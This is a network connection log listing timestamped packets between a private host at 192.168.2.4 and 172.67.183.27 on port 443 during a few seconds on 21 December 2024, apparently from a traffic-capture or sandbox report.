Dec 21, 2024 20:13:47.258740902 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.258758068 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.260353088 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.260421991 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.263602972 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.263668060 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.269110918 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.269185066 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.269191980 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.269237995 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.274396896 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.274447918 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.274451971 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.274494886 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.280843973 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.280900002 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.280904055 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.280944109 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.286180973 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.286241055 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.286273956 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.286319971 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.286361933 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.291510105 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.291564941 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.291574955 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.291588068 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.291614056 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.297776937 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.297832012 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.297837973 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.297877073 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.303627014 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.303688049 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.303693056 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.303728104 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.305838108 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.305887938 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.309782028 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.309835911 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.309840918 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.361428976 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.451437950 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.451514006 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.451524973 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.451565981 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.453708887 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.453758001 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.457709074 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.457761049 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.457766056 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.457804918 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.464989901 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.465004921 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.465050936 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.465055943 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.465123892 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.471602917 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.471615076 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.471657038 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.471662045 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.471712112 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.479059935 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.479072094 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.479126930 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.479132891 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.479181051 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.486398935 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.486411095 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.486454964 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.486460924 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.486491919 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.492505074 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.492557049 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.492562056 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.492604017 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.500251055 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.500262976 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.500310898 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.500317097 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.500336885 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.502280951 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.502324104 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.502329111 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.548940897 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.644586086 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.644659996 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.644668102 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.644731045 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.650861979 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.650922060 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.650926113 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.650970936 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.657475948 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.657490969 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.657542944 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.657548904 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.657582045 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.664927006 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.664940119 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.664998055 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.665003061 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.665039062 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.672223091 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.672235966 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.672286987 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.672291040 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.672344923 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.678653955 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.678710938 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.678714991 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.678761959 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.685211897 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.685224056 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.685290098 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.685297012 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.692673922 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.692692041 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.692725897 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.692732096 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.692758083 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.695622921 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.695668936 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.695673943 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.695709944 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.838052034 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.838121891 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.838134050 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.838184118 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.839528084 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.839591980 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.845202923 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.845263004 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.845288038 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.845335007 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.845345020 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.845371962 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.851514101 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.851574898 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.851578951 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.851627111 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.858757973 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.858772993 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.858825922 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.858830929 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.858871937 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.858938932 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.866238117 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.866250038 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.866307974 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.866313934 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.866494894 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.872868061 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.872936010 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.872940063 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.872982979 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.880156994 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.880244970 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.880248070 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.880297899 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.888192892 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.888206005 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.888283014 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.888286114 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.888328075 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.888360023 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.939558029 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.033385992 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.033446074 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.033487082 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.033540010 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.033565044 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.033585072 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.040736914 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.040750027 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.040791988 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.040797949 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.040818930 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.040838003 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.047019005 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.047074080 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.047077894 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.047125101 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.053910017 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.053924084 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.053982973 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.053988934 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.061116934 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.061135054 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.061171055 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.061176062 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.061227083 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.061971903 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.062036037 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.064122915 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.064165115 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.064215899 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.069680929 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.069751978 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.069756985 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.069806099 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.070630074 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.070686102 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.078376055 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.078398943 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.078427076 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.078433990 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.078469038 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.097563982 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.097628117 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.097640991 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.097687960 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.226403952 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.226418018 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.226469994 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.226484060 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.226542950 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.233566999 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.233580112 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.233629942 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.233633995 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.233706951 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.240174055 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.240185022 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.240238905 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.240243912 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.240278006 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.247665882 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.247679949 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.247740030 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.247745037 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.247781992 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.254985094 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.254997969 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.255044937 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.255048990 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.255096912 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.261533976 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.261547089 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.261598110 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.261603117 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.261650085 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.269131899 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.269144058 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.269198895 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.269205093 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.269241095 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.291227102 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.291244984 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.291306019 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.291311026 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.291356087 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.419142008 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.419157028 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.419240952 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.419251919 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.419289112 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.426301956 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.426315069 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.426383018 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.426392078 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.426434040 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.432856083 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.432868958 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.432945967 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.432950974 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.432981968 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.440380096 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.440402031 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.440449953 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.440454960 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.440507889 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.447694063 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.447705984 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.447766066 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.447771072 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.447817087 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.455245972 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.455260992 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.455332041 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.455336094 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.455384016 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.461929083 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.461941957 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.462007999 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.462013960 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.462061882 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.485683918 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.485702038 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.485754013 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.485761881 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.485805988 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.612696886 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.612710953 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.612757921 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.612766981 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.612806082 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.618971109 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.618983984 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.619040012 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.619046926 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.619086981 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.626398087 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.626410007 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.626462936 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.626468897 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.626516104 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.633691072 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.633702993 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.633763075 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.633768082 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.633805037 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.640418053 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.640429974 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.640489101 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.640495062 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.640542030 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.647816896 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.647830963 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.647883892 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.647890091 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.647943020 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.655141115 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.655155897 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.655235052 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.655240059 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.655276060 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.677450895 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.677464008 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.677517891 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.677524090 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.677556992 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.804758072 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.804773092 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.804832935 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.804841995 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.804920912 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:48.811876059 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.811887980 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:48.811947107 CET	49737	443	192.168.2.4	172.67.183.27
